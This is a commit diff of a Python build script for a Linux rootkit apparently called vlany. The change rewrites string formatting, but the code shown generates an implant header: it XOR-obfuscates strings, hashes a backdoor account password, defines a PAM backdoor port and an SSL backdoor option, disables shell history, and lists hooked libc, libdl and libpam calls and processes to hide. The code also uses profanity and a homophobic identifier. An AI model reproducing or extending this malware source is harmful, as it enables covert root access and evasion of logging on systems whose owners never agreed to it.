|
8 | 8 |
|
9 | 9 | if len(sys.argv) != 16:
|
10 | 10 | print "Why are you running me from the command line?"
|
11 |
| - print "Usage: %s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0]) |
| 11 | + print "Usage: %0s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0]) |
12 | 12 | sys.exit()
|
13 | 13 |
|
14 | 14 | MAGIC_GID = int(''.join(random.choice(string.digits[1:]) for x in range(9))) # string.digits[1:] because we don't want any zeros in the magic gid. fuck that
|
@@ -206,7 +206,7 @@ def const_h_setup():
|
206 | 206 | const_h += '#define TERM_ENV_VAR "' + xor("TERM=xterm") + '"\n'
|
207 | 207 |
|
208 | 208 | const_h += '#define VLANY_USER "' + xor(VLANY_USER) + '"\n'
|
209 |
| - const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6${0}".format(''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n' |
| 209 | + const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6%0s" % (''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n' |
210 | 210 | const_h += '#define PAM_PORT ' + str(PAM_PORT) + '\n'
|
211 | 211 | const_h += '#define VLANY_PERM "' + xor("root") + '"\n'
|
212 | 212 | const_h += '#define HISTFILE "' + xor("/dev/null") + '"\n'
|
@@ -331,40 +331,40 @@ def const_h_setup():
|
331 | 331 | const_h += '#define MAX_LEN 4125\n'
|
332 | 332 |
|
333 | 333 | for x in CALLS:
|
334 |
| - const_h += "#define C{0} {1}\n".format(x.upper(), cindex(x)) |
| 334 | + const_h += "#define C%0s %1s\n" % (x.upper(), cindex(x)) |
335 | 335 |
|
336 | 336 | const_h += '#define _CSIZE ' + str(len(CALLS))
|
337 | 337 | CALL_LIST = '\nstatic char *calls[_CSIZE] = {'
|
338 | 338 | for x in CALLS:
|
339 |
| - CALL_LIST += '"{0}",'.format(xor(x)) |
| 339 | + CALL_LIST += '"%0s",' % (xor(x)) |
340 | 340 | CALL_LIST = CALL_LIST[:-1] + "};\n"
|
341 | 341 | const_h += CALL_LIST
|
342 | 342 |
|
343 | 343 | const_h += '#define LIBC_SIZE ' + str(len(LIBC_CALLS))
|
344 | 344 | LIBC_CALL_LIST = '\nstatic char *libc_calls[LIBC_SIZE] = {'
|
345 | 345 | for x in LIBC_CALLS:
|
346 |
| - LIBC_CALL_LIST += '"{0}",'.format(xor(x)) |
| 346 | + LIBC_CALL_LIST += '"%0s",' % (xor(x)) |
347 | 347 | LIBC_CALL_LIST = LIBC_CALL_LIST[:-1] + "};\n"
|
348 | 348 | const_h += LIBC_CALL_LIST
|
349 | 349 |
|
350 | 350 | const_h += '#define LIBDL_SIZE ' + str(len(LIBDL_CALLS))
|
351 | 351 | LIBDL_CALL_LIST = '\nstatic char *libdl_calls[LIBDL_SIZE] = {'
|
352 | 352 | for x in LIBDL_CALLS:
|
353 |
| - LIBDL_CALL_LIST += '"{0}",'.format(xor(x)) |
| 353 | + LIBDL_CALL_LIST += '"%0s",' % (xor(x)) |
354 | 354 | LIBDL_CALL_LIST = LIBDL_CALL_LIST[:-1] + "};\n"
|
355 | 355 | const_h += LIBDL_CALL_LIST
|
356 | 356 |
|
357 | 357 | const_h += '#define LIBPAM_SIZE ' + str(len(LIBPAM_CALLS))
|
358 | 358 | LIBPAM_CALL_LIST = '\nstatic char *libpam_calls[LIBPAM_SIZE] = {'
|
359 | 359 | for x in LIBPAM_CALLS:
|
360 |
| - LIBPAM_CALL_LIST += '"{0}",'.format(xor(x)) |
| 360 | + LIBPAM_CALL_LIST += '"%0s",' % (xor(x)) |
361 | 361 | LIBPAM_CALL_LIST = LIBPAM_CALL_LIST[:-1] + "};\n"
|
362 | 362 | const_h += LIBPAM_CALL_LIST
|
363 | 363 |
|
364 | 364 | const_h += '#define GPSIZE ' + str(len(GAY_PROCS))
|
365 | 365 | GAY_PROCS_LIST = '\nstatic char *gay_procs_list[GPSIZE] = {'
|
366 | 366 | for x in GAY_PROCS:
|
367 |
| - GAY_PROCS_LIST += '"{0}",'.format(xor(x)) |
| 367 | + GAY_PROCS_LIST += '"%0s",' % (xor(x)) |
368 | 368 | GAY_PROCS_LIST = GAY_PROCS_LIST[:-1] + "};\n"
|
369 | 369 | const_h += GAY_PROCS_LIST
|
370 | 370 |
|
|
0 commit comments